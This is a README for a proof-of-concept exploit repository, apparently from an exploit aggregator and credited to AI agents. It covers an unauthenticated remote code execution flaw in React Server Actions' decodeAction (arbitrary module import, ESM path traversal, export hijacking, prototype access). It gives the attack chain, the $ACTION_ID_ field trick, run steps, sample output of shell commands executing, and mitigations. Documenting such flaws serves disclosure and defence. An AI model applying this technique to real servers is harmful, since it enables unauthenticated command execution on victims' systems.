## https://sploitus.com/exploit?id=AF3BD478-BB40-5B47-ACFD-B1ACDDAE37B2
# React Server Actions RCE Vulnerability - Proof of Concept
Created by Amp (Opus 4.5 and Chat GPT 5.1). [Link to thread](https://ampcode.com/threads/T-d372dd3f-ca0f-43bf-9214-2a23c148f578)
## Vulnerability Summary
**Type**: Remote Code Execution (RCE)
**Component**: React Server Actions (`decodeAction`)
**Attack Vector**: Unauthenticated HTTP POST request
## Affected Bundlers
| Bundler | Severity | Issue |
|---------|----------|-------|
| **Webpack (Node)** | **Critical** | No manifest validation - arbitrary module import |
| **ESM** | **High** | Prefix check only - path traversal via `../` |
| **Webpack (Browser)** | **High** | Export name attacker-controlled - export hijacking |
| **Turbopack** | **High** | Export name attacker-controlled - export hijacking |
| **Parcel** | **High** | Export name attacker-controlled - export hijacking |
**ALL bundlers are vulnerable!** Even those with manifest validation:
1. Allow calling any export from manifested modules (export hijacking)
2. Allow accessing prototype properties like `constructor`, `__proto__` (unsafe property access)
## Description
The `decodeAction` function in React Server Actions parses FormData field names
starting with `$ACTION_ID_` and uses the suffix as a module specifier + export
name to dynamically import and execute arbitrary server-side code.
The vulnerability exists because:
1. The `$ACTION_ID_` field name is attacker-controlled via HTTP POST
2. The `id` portion is split at the last `#` character into `specifier` and `name`
3. **Webpack Node**: `resolveServerReference` does NOT validate the specifier - `ServerManifest` is `void`!
4. **ESM**: Only checks if specifier starts with `baseURL` - path traversal and unregistered modules accessible
5. The specifier is passed directly to `import(specifier)`, loading arbitrary modules
6. The named export is then invoked as a server action with attacker-controlled FormData
## Attack Chain
```
HTTP POST (multipart/form-data)
โ
Field name: $ACTION_ID_#
โ
decodeAction() parses field, extracts id
โ
loadServerReference(manifest, id, null)
โ
resolveServerReference(manifest, id) โ {specifier, name}
โ
preloadModule() โ import(specifier) โ arbitrary module loaded!
โ
requireModule() โ moduleExports[name]
โ
fn.bind(null, formData) โ action invoked with attacker data
```
## Files Demonstrating the Vulnerability
### Webpack Node (Critical)
- `vulnerable-server.mjs` - Reproduction of the Webpack Node vulnerability
- `exploit.sh` - Exploit script (arbitrary module import)
### ESM (High)
- `vulnerable-server-esm.mjs` - Reproduction of the ESM path traversal
- `exploit-esm.sh` - Exploit script (prefix bypass via `../`)
- `allowed-actions/` - Simulated "allowed" directory
### Manifest/Export Hijacking (High)
- `vulnerable-server-manifest.mjs` - Reproduction of export hijacking
- `exploit-manifest.sh` - Exploit script (call any export from manifested module)
- `module-with-multiple-exports.mjs` - Module with safe + dangerous exports
### Prototype Property Access (Medium-High)
- `vulnerable-server-prototype.mjs` - Reproduction of unsafe property access
- `exploit-prototype.sh` - Explanation of prototype access attacks
### Shared
- `dangerous-module.mjs` - Payload module with command execution
## Running the Proof of Concept
### Webpack Node Exploit (Full RCE)
```bash
# Terminal 1: Start the vulnerable server
node vulnerable-server.mjs
# Terminal 2: Run the exploit
./exploit.sh
```
### ESM Path Traversal Exploit
```bash
# Terminal 1: Start the ESM server
node vulnerable-server-esm.mjs
# Terminal 2: Run the exploit
./exploit-esm.sh
```
### Export Hijacking Exploit (Webpack Browser/Turbopack/Parcel)
```bash
# Terminal 1: Start the manifest server
node vulnerable-server-manifest.mjs
# Terminal 2: Run the exploit
./exploit-manifest.sh
```
## Expected Outcome
### Webpack Node
The exploit imports an arbitrary module and executes shell commands:
```
[VULN] Dynamically importing: ./dangerous-module.mjs
[!] Executing command: id
uid=501(user) gid=20(staff) ...
```
### ESM
The prefix check passes but the `../` escapes the allowed directory:
```
[ESM] Checking if "file://.../allowed-actions/../dangerous-module.mjs"
starts with "file://.../allowed-actions/"
[ESM] Prefix check passed! <-- Path traversal bypassed the check!
[ESM] Dynamically importing: file://.../dangerous-module.mjs
[!] Executing command: whoami
```
### Export Hijacking (Webpack Browser/Turbopack/Parcel)
The module is validated but the export name is attacker-controlled:
```
[MANIFEST] Full match for "safe-actions" <-- Module exists โ
[MANIFEST] Partial match, export: "dangerousExport" (from input!) <-- Export hijacked!
[DANGEROUS] dangerousExport called with cmd: id
uid=501(user) gid=20(staff) ...
```
## Mitigation
1. **Webpack Node**: Must validate IDs against a manifest
2. **ESM**: Must canonicalize paths before prefix check (use `realpath` or URL normalization)
3. **All bundlers**: Must validate BOTH module ID AND export name against manifest
4. **All bundlers**: Use `Object.hasOwn()` or `Map` for manifest lookups (not direct property access)
5. **All**: The `$ACTION_ID_` path should validate complete action reference before loading